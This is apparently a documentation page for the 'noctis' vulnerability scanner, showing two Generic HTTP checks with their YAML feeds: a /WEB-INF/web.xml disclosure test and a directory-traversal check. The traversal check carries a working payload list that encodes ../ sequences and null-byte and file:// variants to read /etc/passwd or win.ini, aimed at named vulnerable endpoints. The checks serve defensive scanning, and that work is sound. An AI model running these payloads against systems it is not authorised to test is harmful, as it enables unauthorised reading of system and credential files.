Generic HTTP — 2 vulnerability checks

noctis ships 2 vulnerability checks for Generic HTTP, covering 54 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

/WEB-INF/web.xml Deployment Descriptor Disclosure (HTTP)

CVECVE-2004-2734, CVE-2014-0053, CVE-2014-2857, CVE-2014-2858
Severityhigh · CVSS 10.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/generic-http/web-inf-descriptor-disclosure.yaml

Detects web servers and products that serve the protected /WEB-INF/web.xml deployment descriptor of a Java web application to unauthenticated clients (for example Novell Web Manager on NetWare 6.5 under /WebAdmin, or the Grails Resources plugin before 1.2.6 under /static). The test requests /WEB-INF/web.xml at the web root, under /WebAdmin and under /static, and reports a finding when the reply is HTTP 200 and contains a real deployment descriptor (an opening and a closing <web-app>, <servlet> or <servlet-mapping> element). A hit under /WebAdmin is reported as CVE-2004-2734, a hit under /static as the Grails Resources plugin CVEs, and a hit at the web root (a web server publishing the application directory as-is) without a CVE. A control request for a file name that cannot exist in the same directory must not return a descriptor, so servers that answer every such URL with the same content are not reported. Only the name of the descriptor's root element is quoted in the evidence, never its content.

How noctis detects it

  1. HTTP(S) request GET {{webinf_base}}/WEB-INF/web.xml
  2. Checks desc_resp.body for (?m)^[ \t]*(?:<\?xml[^\r\n>]*\?>[ \t]*)?<(?:[A-Za-z][A-Za-z0-9_.-]*:)…
  3. HTTP(S) request GET {{webinf_base}}/WEB-INF/web.xml.noctis-absent-{{oob_token}}
  4. Checks ctrl_resp.body for (?m)^[ \t]*(?:<\?xml[^\r\n>]*\?>[ \t]*)?<(?:[A-Za-z][A-Za-z0-9_.-]*:)…
  5. Parses / computes the next value with a Rhai script
  6. Checks verdict for ^DESCRIPTOR_DISCLOSED → finding QoD 75: Novell Web Manager /WebAdmin/WEB-INF/web.xml Deployment Descriptor Disclosure
  7. Checks verdict for ^DESCRIPTOR_DISCLOSED → finding QoD 75: Grails Resources Plugin /static/WEB-INF/web.xml Deployment Descriptor Disclosure
  8. Checks verdict for ^DESCRIPTOR_DISCLOSED → finding QoD 75: /WEB-INF/web.xml Deployment Descriptor Served at the Web Root

References:

Feed source — tests/vulnerabilities/generic-http/web-inf-descriptor-disclosure.yaml
# Plain /WEB-INF/web.xml deployment-descriptor disclosure (HTTP)
#
# The servlet specification forbids a container from serving anything under a
# web application's /WEB-INF/ (and /META-INF/) directory. Some servers and
# products still return /WEB-INF/web.xml when it is requested directly:
#   - Novell Web Manager on NetWare 6.5 (CVE-2004-2734): webadmin-apache.conf
#     protects the lower-case directory while the Alias is upper-case, so
#     /WebAdmin/WEB-INF/ is served;
#   - the Grails Resources plugin 1.0.0-1.2.5 (Grails 2.0.0-2.3.6,
#     CVE-2014-0053 / CVE-2014-2857 / CVE-2014-2858): its ad-hoc resource
#     handler serves files of the web application root under the `/static`
#     URI prefix and blocks nothing under WEB-INF / META-INF by default;
#   - any web application whose exploded archive is published by a plain web
#     server (document root pointed at the webapp directory).
#
# Detection (QoD 75 — read-only proof that the protected file is served):
#   for each base path ("", /WebAdmin, /static):
#   1. GET <base>/WEB-INF/web.xml;
#   2. hit = HTTP 200 AND the body carries an opening descriptor element at the
#      start of a line (<web-app ...>, <servlet>, <servlet-mapping>, optionally
#      namespace-prefixed, attributes on the next line allowed) and, after it,
#      a closing one at the end of a line (the NASL's base + extra patterns,
#      widened to multi-line opening tags, trailing blanks, tabs, prefixes and
#      one-line descriptors, XML declaration included);
#   3. control (fail-closed): GET <base>/WEB-INF/web.xml.noctis-absent-<token>
#      — a file that cannot exist. A blanket responder / honeypot that answers
#      every "WEB-INF/web.xml" URL with a descriptor also answers this one, and
#      is not reported. A control that gets no reply at all is not counted as
#      a clean control either: nothing is reported for that base path.
#   4. the finding carries the CVE of the product behind the path that leaked:
#      /WebAdmin → CVE-2004-2734, /static → the three Grails CVEs, web root →
#      no CVE (a misconfigured plain web server proves neither product).
#
# Better than the OpenVAS NASL:
#   - also tries the Grails Resources plugin `/static` prefix (the plugin's
#     default `grails.resources.uri.prefix`), the very path CVE-2014-0053 is
#     about — the NASL only tries "/", "/WebAdmin" and its CGI dirs;
#   - per-path CVE attribution (the NASL reports all four CVEs for any hit);
#   - wider element patterns (see 2.) — fewer misses on real descriptors;
#   - requires HTTP 200 (the NASL ignores the status, so an error page quoting
#     XML can match) and the absent-file control above (no blanket-responder FP);
#   - the NASL pastes 1500 bytes of the descriptor into its report; web.xml can
#     hold secrets in <context-param> / <init-param>, so this feed only captures
#     the NAME of the opening element — never attributes or contents;
#   - regex-only matching on the body (no script copy), so a huge reply cannot
#     hit the 1 MB script string cap and abort the test.
#
# Nothing is written, executed or deleted on the target.
#
# Ported from OpenVAS/Greenbone NVT `2021/gb_web-inf_plain_info_disclosure.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.117224, GPL-2.0-only).
uid: 97e0567a-a77d-4fa4-9443-5ea0859dab48
name: "/WEB-INF/web.xml Deployment Descriptor Disclosure (HTTP)"
description: |
  Detects web servers and products that serve the protected /WEB-INF/web.xml
  deployment descriptor of a Java web application to unauthenticated clients
  (for example Novell Web Manager on NetWare 6.5 under /WebAdmin, or the Grails
  Resources plugin before 1.2.6 under /static). The test requests
  /WEB-INF/web.xml at the web root, under /WebAdmin and under /static, and
  reports a finding when the reply is HTTP 200 and contains a real deployment
  descriptor (an opening and a closing <web-app>, <servlet> or
  <servlet-mapping> element). A hit under /WebAdmin is reported as
  CVE-2004-2734, a hit under /static as the Grails Resources plugin CVEs, and a
  hit at the web root (a web server publishing the application directory
  as-is) without a CVE. A control request for a file name that cannot
  exist in the same directory must not return a descriptor, so servers that
  answer every such URL with the same content are not reported. Only the name
  of the descriptor's root element is quoted in the evidence, never its content.
cves: [CVE-2004-2734, CVE-2014-0053, CVE-2014-2857, CVE-2014-2858]
cvss: 10.0
severity: high
category: file-read
confidence_base: 0.25
tags: [web-inf, web-xml, servlet, java, grails, novell, netware, information-disclosure, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-2734"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-0053"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2857"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2858"
  - "https://pivotal.io/security/cve-2014-0053"

steps:
  # ── Per-base-path loop group: every step below runs once per base path.
  # Pre-initialise every stored result each pass, so a failed request (reset,
  # timeout) can neither leave a stale value from the previous path nor leave
  # a variable undefined for the verdict script.
  - id: init-desc-resp
    action: set_var
    var_name: desc_resp
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/WebAdmin", "/static"]
      var: webinf_base

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {status: 0, body: ""}

  - id: init-desc-m
    action: set_var
    var_name: desc_m
    var_value: {matched: false, captures: []}

  - id: init-ctrl-m
    action: set_var
    var_name: ctrl_m
    var_value: {matched: false, captures: []}

  # ── 1. Request the protected descriptor ─────────────────────────────────
  - id: get-webxml
    action: http_request
    method: GET
    path: "{{webinf_base}}/WEB-INF/web.xml"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: desc_resp

  # ── 2. HTTP 200 + descriptor element lines (open line, then close line).
  # The only capture is the opening element NAME — nothing from the
  # descriptor's attributes or contents reaches the finding.
  - id: descriptor-check
    action: match
    source: desc_resp.body
    pattern: '(?m)^[ \t]*(?:<\?xml[^\r\n>]*\?>[ \t]*)?<(?:[A-Za-z][A-Za-z0-9_.-]*:)?(web-app|servlet|servlet-mapping)(?:[ \t>]|\r?$)(?s:.*)</(?:[A-Za-z][A-Za-z0-9_.-]*:)?(?:web-app|servlet|servlet-mapping)>[ \t]*\r?$'
    condition: "desc_resp.status == 200"
    store_as: desc_m

  # ── 3. Control: a file that cannot exist, named so a responder keyed on
  # the "WEB-INF/web.xml" substring answers it too.
  - id: get-absent
    action: http_request
    method: GET
    path: "{{webinf_base}}/WEB-INF/web.xml.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "desc_m.matched == true"
    store_as: ctrl_resp

  - id: control-check
    action: match
    source: ctrl_resp.body
    pattern: '(?m)^[ \t]*(?:<\?xml[^\r\n>]*\?>[ \t]*)?<(?:[A-Za-z][A-Za-z0-9_.-]*:)?(?:web-app|servlet|servlet-mapping)(?:[ \t>]|\r?$)(?s:.*)</(?:[A-Za-z][A-Za-z0-9_.-]*:)?(?:web-app|servlet|servlet-mapping)>[ \t]*\r?$'
    condition: "desc_m.matched == true && ctrl_resp.status == 200"
    store_as: ctrl_m

  # Fail-closed: the control must have been answered (status != 0) and must
  # not carry a descriptor.
  - id: verdict
    action: script
    code: |
      let v = "";
      if desc_m.matched == true && desc_m.captures.len() > 0
          && ctrl_resp.status != 0 && ctrl_m.matched == false {
        v = "DESCRIPTOR_DISCLOSED root element <" + desc_m.captures[0] + ">";
      }
      v
    store_as: verdict

  # ── 4. Report — one finding step per base path, so each hit carries the
  # CVE(s) of the product that exposes that path. A root hit proves neither
  # product (plain web server publishing an exploded webapp): no CVE.
  - id: disclosed-webadmin
    action: match
    source: verdict
    pattern: "^DESCRIPTOR_DISCLOSED "
    condition: "webinf_base == \"/WebAdmin\""
    on_match:
      finding:
        cves: [CVE-2004-2734]
        severity: high
        confidence_delta: 0.60
        qod: 75
        title: "Novell Web Manager /WebAdmin/WEB-INF/web.xml Deployment Descriptor Disclosure"
        evidence: "GET {{webinf_base}}/WEB-INF/web.xml returned HTTP 200 with the web application's deployment descriptor ({{verdict}}); a control request for an absent file in the same directory (HTTP {{ctrl_resp.status}}) did not."
        remediation: "Apply the Novell Web Manager fix so that webadmin-apache.conf protects the WEB-INF folder of /WebAdmin (the Alias and the access-control block must name the same path), or block /WebAdmin/WEB-INF/ in the web server configuration."
      stop: true

  - id: disclosed-grails-static
    action: match
    source: verdict
    pattern: "^DESCRIPTOR_DISCLOSED "
    condition: "webinf_base == \"/static\""
    on_match:
      finding:
        cves: [CVE-2014-0053, CVE-2014-2857, CVE-2014-2858]
        cvss: 5.0
        severity: medium
        confidence_delta: 0.60
        qod: 75
        title: "Grails Resources Plugin /static/WEB-INF/web.xml Deployment Descriptor Disclosure"
        evidence: "GET {{webinf_base}}/WEB-INF/web.xml returned HTTP 200 with the web application's deployment descriptor ({{verdict}}); a control request for an absent file in the same directory (HTTP {{ctrl_resp.status}}) did not."
        remediation: "Upgrade the Grails Resources plugin to 1.2.6 or later, or set grails.resources.adhoc.excludes = ['**/WEB-INF/**', '**/META-INF/**'], and redeploy the application."
      stop: true

  - id: disclosed-root
    action: match
    source: verdict
    pattern: "^DESCRIPTOR_DISCLOSED "
    condition: "webinf_base == \"\""
    on_match:
      finding:
        cves: []
        cvss: 5.0
        severity: medium
        confidence_delta: 0.60
        qod: 75
        title: "/WEB-INF/web.xml Deployment Descriptor Served at the Web Root"
        evidence: "GET {{webinf_base}}/WEB-INF/web.xml returned HTTP 200 with the web application's deployment descriptor ({{verdict}}); a control request for an absent file in the same directory (HTTP {{ctrl_resp.status}}) did not."
        remediation: "Do not publish an exploded web application with a plain web server (document root pointed at the webapp directory), or deny every request under /WEB-INF/ and /META-INF/ in its configuration; serve the application from a servlet container."
      stop: true

Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter)

CVECVE-2005-3947, CVE-2009-3151, CVE-2010-0759, CVE-2010-0760, CVE-2011-10009, CVE-2014-125125, CVE-2018-14957, CVE-2018-25113, CVE-2019-7254, CVE-2020-13886, CVE-2021-21234, CVE-2021-41291, CVE-2022-26271, CVE-2023-22047, CVE-2023-38879, CVE-2023-49031, CVE-2024-10100, CVE-2024-21136, CVE-2024-26291, CVE-2024-26293, CVE-2024-27292, CVE-2024-3234, CVE-2024-34470, CVE-2024-36527, CVE-2024-40422, CVE-2024-45241, CVE-2024-5334, CVE-2024-55457, CVE-2024-56198, CVE-2024-5926, CVE-2024-6911, CVE-2024-7928, CVE-2025-10708, CVE-2025-10709, CVE-2025-1743, CVE-2025-24963, CVE-2025-27956, CVE-2025-28367, CVE-2025-3021, CVE-2025-31131, CVE-2025-34031, CVE-2025-34047, CVE-2025-34048, CVE-2025-44137, CVE-2025-46002, CVE-2025-47423, CVE-2025-50971, CVE-2025-55526, CVE-2025-7488, CVE-2025-7625
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, http_request, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/generic-http/generic-http-param-dir-traversal.yaml

Injects directory traversal, absolute-path and file:// payloads into the URL parameters of the web application (parameters discovered on the landing page, plus known vulnerable endpoints of the affected products) and confirms an arbitrary file read by retrieving /etc/passwd or win.ini. A negative control request for a non-existent file must not carry the file signature.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{cur.path}} HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET {{cur.neg}} HTTP/1.0
  8. Parses / computes the next value with a Rhai script
  9. Checks hit_line for . → finding QoD 75: Directory traversal / file inclusion in a URL parameter

References:

Feed source — tests/vulnerabilities/generic-http/generic-http-param-dir-traversal.yaml
# Generic HTTP directory traversal / file inclusion in URL parameters
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_generic_http_web_app_params_dir_trav.nasl
# (OID 1.3.6.1.4.1.25623.1.0.113002, GPL-2.0-only).
#
# The NASL replaces the value of every spidered URL parameter with traversal
# patterns (traversal_pattern() x prefixes x suffixes) pointing at a
# world-readable benign file (traversal_files(): /etc/passwd, win.ini) and
# reports a hit when the file's signature shows up in the response.
#
# noctis has no web spider, so this feed:
#   1. crawls the landing page (GET /, redirects followed) and turns every
#      same-origin link / src / form action that carries a query string into one
#      injection target per parameter (max 8 targets);
#   2. adds the request templates of the products the NASL lists that could be
#      confirmed from public sources (Joomla Scriptegrator, puppeteer-renderer,
#      spring-boot-actuator-logview, Leadsec SSL VPN, HSC Mailinspector, Pichome);
#   3. for each target, sends the NASL's traversal / absolute / file:// payloads
#      verbatim over tcp_connect (HTTP/1.0 — reqwest would normalise ../ and %2e).
#
# Better than the NASL: a signature hit is only reported when a negative control
# — the very same request with the file name swapped for a non-existent one —
# does NOT carry the signature. A page that always shows passwd-like text (docs,
# tutorials, reflected input) is therefore not reported, and a noisy target is
# dropped so the remaining targets are still tried.
#
# Benign proof: the file read is /etc/passwd or win.ini, never written or deleted.
uid: 11034a70-4114-46ad-8bda-11d5e1c1963a
name: "Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter)"
description: |
  Injects directory traversal, absolute-path and file:// payloads into the URL
  parameters of the web application (parameters discovered on the landing page,
  plus known vulnerable endpoints of the affected products) and confirms an
  arbitrary file read by retrieving /etc/passwd or win.ini. A negative control
  request for a non-existent file must not carry the file signature.
cves:
  - CVE-2005-3947
  - CVE-2009-3151
  - CVE-2010-0759
  - CVE-2010-0760
  - CVE-2011-10009
  - CVE-2014-125125
  - CVE-2018-14957
  - CVE-2018-25113
  - CVE-2019-7254
  - CVE-2020-13886
  - CVE-2021-21234
  - CVE-2021-41291
  - CVE-2022-26271
  - CVE-2023-22047
  - CVE-2023-38879
  - CVE-2023-49031
  - CVE-2024-10100
  - CVE-2024-21136
  - CVE-2024-26291
  - CVE-2024-26293
  - CVE-2024-27292
  - CVE-2024-3234
  - CVE-2024-34470
  - CVE-2024-36527
  - CVE-2024-40422
  - CVE-2024-45241
  - CVE-2024-5334
  - CVE-2024-55457
  - CVE-2024-56198
  - CVE-2024-5926
  - CVE-2024-6911
  - CVE-2024-7928
  - CVE-2025-10708
  - CVE-2025-10709
  - CVE-2025-1743
  - CVE-2025-24963
  - CVE-2025-27956
  - CVE-2025-28367
  - CVE-2025-3021
  - CVE-2025-31131
  - CVE-2025-34031
  - CVE-2025-34047
  - CVE-2025-34048
  - CVE-2025-44137
  - CVE-2025-46002
  - CVE-2025-47423
  - CVE-2025-50971
  - CVE-2025-55526
  - CVE-2025-7488
  - CVE-2025-7625
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [http, generic, path-traversal, lfi, file-read, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3947"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0759"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0760"
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-21234"
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-36527"
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34047"
  - "OpenVAS NVT 2017/gb_generic_http_web_app_params_dir_trav.nasl (GPL-2.0-only)"

vars:
  # Request templates. {P} is replaced by each payload; a template without {P}
  # is a complete request, sent once.
  known_targets:
    - "/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]={P}"  # CVE-2010-0759
    - "/plugins/system/cdscriptegrator/libraries/jquery/js/jsloader.php?files[]={P}"     # CVE-2010-0760
    - "/plugins/system/cdscriptegrator/libraries/jquery/js/ui/jsloader.php?file={P}"     # CVE-2010-0760
    - "/html?url={P}"                                                                   # CVE-2024-36527
    - "/manage/log/view?filename=etc/passwd&base=../../../../../../../../../../"         # CVE-2021-21234
    - "/log/view?filename=etc/passwd&base=../../../../../../../../../../"                # CVE-2021-21234
    - "/vpn/user/download/client?ostype={P}"                                            # CVE-2025-34047
    - "/mailinspector/public/loader.php?path={P}"                                       # CVE-2024-34470
    - "/index.php?mod=textviewer&src={P}"                                               # CVE-2025-1743

steps:
  # ── State — every var a script writes back must exist beforehand ─────────
  - id: init-payloads
    action: set_var
    var_name: payloads
    var_value: []
  - id: init-targets
    action: set_var
    var_name: targets
    var_value: []
  - id: init-hit
    action: set_var
    var_name: hit
    var_value: false
  - id: init-hit-path
    action: set_var
    var_name: hit_path
    var_value: ""
  - id: init-hit-line
    action: set_var
    var_name: hit_line
    var_value: ""
  - id: init-hit-neg
    action: set_var
    var_name: hit_neg
    var_value: ""
  - id: init-noisy
    action: set_var
    var_name: noisy
    var_value: []
  - id: init-root
    action: set_var
    var_name: root
    var_value: {status: 0, body: "", url: ""}

  # ── Payloads: traversal_pattern() encodings x traversal_files(), plus the
  #    NASL's absolute-path / file:// / prefix / suffix variants (depth 10) ──
  - id: build-payloads
    action: script
    code: |
      let d = 10;
      let unix = ["../", "..%2f", "%2e%2e%2f", "%2e%2e/", "....//", "%252e%252e%252f", "%c0%ae%c0%ae/"];
      let win = ["..%5c", "%2e%2e%5c"];
      let p = [];
      for t in unix { p.push(crap(d * t.len(), t) + "etc/passwd"); }
      for t in unix { p.push(crap(d * t.len(), t) + "windows/win.ini"); }
      for t in win { p.push(crap(d * t.len(), t) + "windows%5cwin.ini"); }
      let up = crap(30, "../");
      p.push("/etc/passwd");
      p.push("file:///etc/passwd");
      p.push("file:///c:/windows/win.ini");
      p.push("c:%5cwindows%5cwin.ini");
      p.push(up + "etc/passwd%00");
      p.push(up + "etc/passwd%00index.htm");
      p.push(up + "etc/passwd%23vt/test");
      p.push("%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F" + up + "etc/passwd");
      p.push("//////" + up + "etc/passwd");
      p.push("/%5c" + up + "etc/passwd");
      payloads = p;
      // Known endpoints first, so a crawl failure can't stop them being probed.
      targets = known_targets;
      p.len()
    store_as: payload_count

  # ── Crawl the landing page for parameterised same-origin URLs ────────────
  - id: landing
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: root

  - id: crawl
    action: script
    code: |
      let body = if type_of(root.body) == "string" { root.body } else { "" };
      // Directory of the (possibly redirected) landing URL, for relative links.
      let base = "/";
      if type_of(root.url) == "string" {
        let u = root.url;
        let s = u.index_of("://");
        if s >= 0 {
          let rest = u.sub_string(s + 3);
          let slash = rest.index_of("/");
          if slash >= 0 {
            let path = rest.sub_string(slash);
            let q = path.index_of("?");
            if q >= 0 { path = path.sub_string(0, q); }
            let last = 0;
            let k = path.index_of("/");
            while k >= 0 { last = k; k = path.index_of("/", k + 1); }
            base = path.sub_string(0, last + 1);
          }
        }
      }
      // Work bounds (Rhai max_operations): links looked at, parameterised links
      // processed, targets kept.
      let looked = 0;
      let with_query = 0;
      let found = [];
      let seen_urls = [];
      let seen_params = [];
      for attr in ["href=", "src=", "action=", "HREF=", "SRC=", "ACTION="] {
        if looked >= 1500 || with_query >= 60 || found.len() >= 8 { break; }
        let parts = split(body, attr);
        for k in 1..parts.len() {
          looked += 1;
          if looked >= 1500 || with_query >= 60 || found.len() >= 8 { break; }
          let s = parts[k];
          if s.len() < 3 { continue; }
          let qc = s.sub_string(0, 1);
          if qc != "\"" && qc != "'" { continue; }
          let e = s.index_of(qc, 1);
          if e < 2 { continue; }
          let url = s.sub_string(1, e - 1);
          if url.index_of("?") < 0 { continue; }
          with_query += 1;
          url.replace("&amp;", "&");
          url.replace(" ", "%20");
          // Never echo control characters (CR/LF…) into the raw request.
          if ereg("[\\x00-\\x20\\x7f]", url) { continue; }
          let h = url.index_of("#");
          if h >= 0 { url = url.sub_string(0, h); }
          let lower = url.to_lower();
          if lower.starts_with("javascript:") || lower.starts_with("mailto:") { continue; }
          // Absolute / protocol-relative URL: keep it only when it points at the target.
          if lower.starts_with("http://") || lower.starts_with("https://") || url.starts_with("//") {
            let rest = url.sub_string(url.index_of("//") + 2);
            let slash = rest.index_of("/");
            let auth = if slash >= 0 { rest.sub_string(0, slash) } else { rest };
            let colon = auth.index_of(":");
            let hostpart = if colon >= 0 { auth.sub_string(0, colon) } else { auth };
            if hostpart.to_lower() != target_host.to_lower() { continue; }
            url = if slash >= 0 { rest.sub_string(slash) } else { "/" };
          } else if !url.starts_with("/") {
            if url.starts_with("?") { url = "/" + url; } else { url = base + url; }
          }
          let qi = url.index_of("?");
          if qi < 0 { continue; }
          let path = url.sub_string(0, qi);
          if path == "" { path = "/"; }
          // Same path + same query: nothing new to inject.
          if seen_urls.contains(url) { continue; }
          seen_urls.push(url);
          let params = split(url.sub_string(qi + 1), "&");
          if params.len() > 12 { continue; }
          for j in 0..params.len() {
            let eq = params[j].index_of("=");
            if eq < 1 { continue; }
            let name = params[j].sub_string(0, eq);
            let key = path + "|" + name;
            if seen_params.contains(key) { continue; }
            seen_params.push(key);
            let t = path + "?";
            for m in 0..params.len() {
              if m > 0 { t += "&"; }
              t += if m == j { name + "={P}" } else { params[m] };
            }
            found.push(t);
            if found.len() >= 8 { break; }
          }
        }
      }
      // Discovered parameters first, then the known vulnerable endpoints.
      targets = found + known_targets;
      found.len()
    store_as: crawled_count

  # ── Inject every payload into every target ───────────────────────────────
  # 17 targets max (8 crawled + 9 known) x 26 payloads. Iteration i probes
  # target i / 26 with payload i % 26; a template without {P} only on payload 0.
  - id: reset
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: ""}
    loop:
      count: 442
      var: i

  - id: reset-control
    action: set_var
    var_name: ctrl
    var_value: {connected: false, banner: ""}

  - id: pick
    action: script
    code: |
      let np = payloads.len();
      let ti = i / np;
      let pi = i % np;
      let c = #{send: false, path: "", neg: ""};
      if !hit && ti < targets.len() && !noisy.contains(ti) {
        let t = targets[ti];
        let path = "";
        if t.contains("{P}") {
          path = t;
          path.replace("{P}", payloads[pi]);
        } else if pi == 0 {
          path = t;
        }
        if path != "" {
          // Negative control: the same request for a file that does not exist.
          let neg = path;
          neg.replace("passwd", "noctis-nx-passwd");
          neg.replace("win.ini", "noctis-nx.ini");
          c = #{send: true, path: path, neg: neg, ti: ti};
        }
      }
      c
    store_as: cur

  - id: probe
    action: tcp_connect
    condition: "cur.send"
    port: "{{port}}"
    timeout_secs: 8
    send: "GET {{cur.path}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
    store_as: resp

  - id: judge
    action: script
    code: |
      let sig = "root:[^:\r\n]*:0:[01]:[^\r\n]*|\\[(fonts|extensions)\\]";
      let b = if type_of(resp.banner) == "string" { resp.banner } else { "" };
      let m = if cur.send { eregmatch(sig, b) } else { () };
      if type_of(m) == "array" && m.len() > 0 {
        #{cand: true, line: m[0]}
      } else {
        #{cand: false, line: ""}
      }
    store_as: verdict

  - id: control
    action: tcp_connect
    condition: "verdict.cand"
    port: "{{port}}"
    timeout_secs: 8
    send: "GET {{cur.neg}} HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
    store_as: ctrl

  - id: confirm
    action: script
    code: |
      if verdict.cand {
        let sig = "root:[^:\r\n]*:0:[01]:|\\[(fonts|extensions)\\]";
        let cb = if type_of(ctrl.banner) == "string" { ctrl.banner } else { "" };
        if ctrl.connected && !ereg(sig, cb) {
          hit = true;
          hit_path = cur.path;
          hit_neg = cur.neg;
          hit_line = verdict.line;
        } else {
          // The signature is there whatever file is asked for: not a file read.
          noisy.push(cur.ti);
        }
      }
      hit

  # ── Report ───────────────────────────────────────────────────────────────
  # The one-shot `loop:` keeps this step out of the injection loop's group
  # (the runner runs every following non-loop step once per iteration).
  - id: report
    action: match
    condition: "hit"
    loop:
      count: 1
      var: report_pass
    source: hit_line
    pattern: "."
    on_match:
      finding:
        title: "Directory traversal / file inclusion in a URL parameter"
        description: |
          The web application returned the content of a file outside its web
          root when a URL parameter was set to a directory traversal, absolute
          path or file:// payload. The same request for a non-existent file
          did not return the file signature, which rules out a page that
          always shows such text.
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{hit_path}} → {{hit_line}} | control GET {{hit_neg}} → signature absent"
        remediation: |
          Update the affected product. Validate file and path parameters against
          an allow-list of names, reject ../, encoded separators, absolute paths
          and URL schemes, and resolve paths under a fixed base directory.

View these feeds on GitHub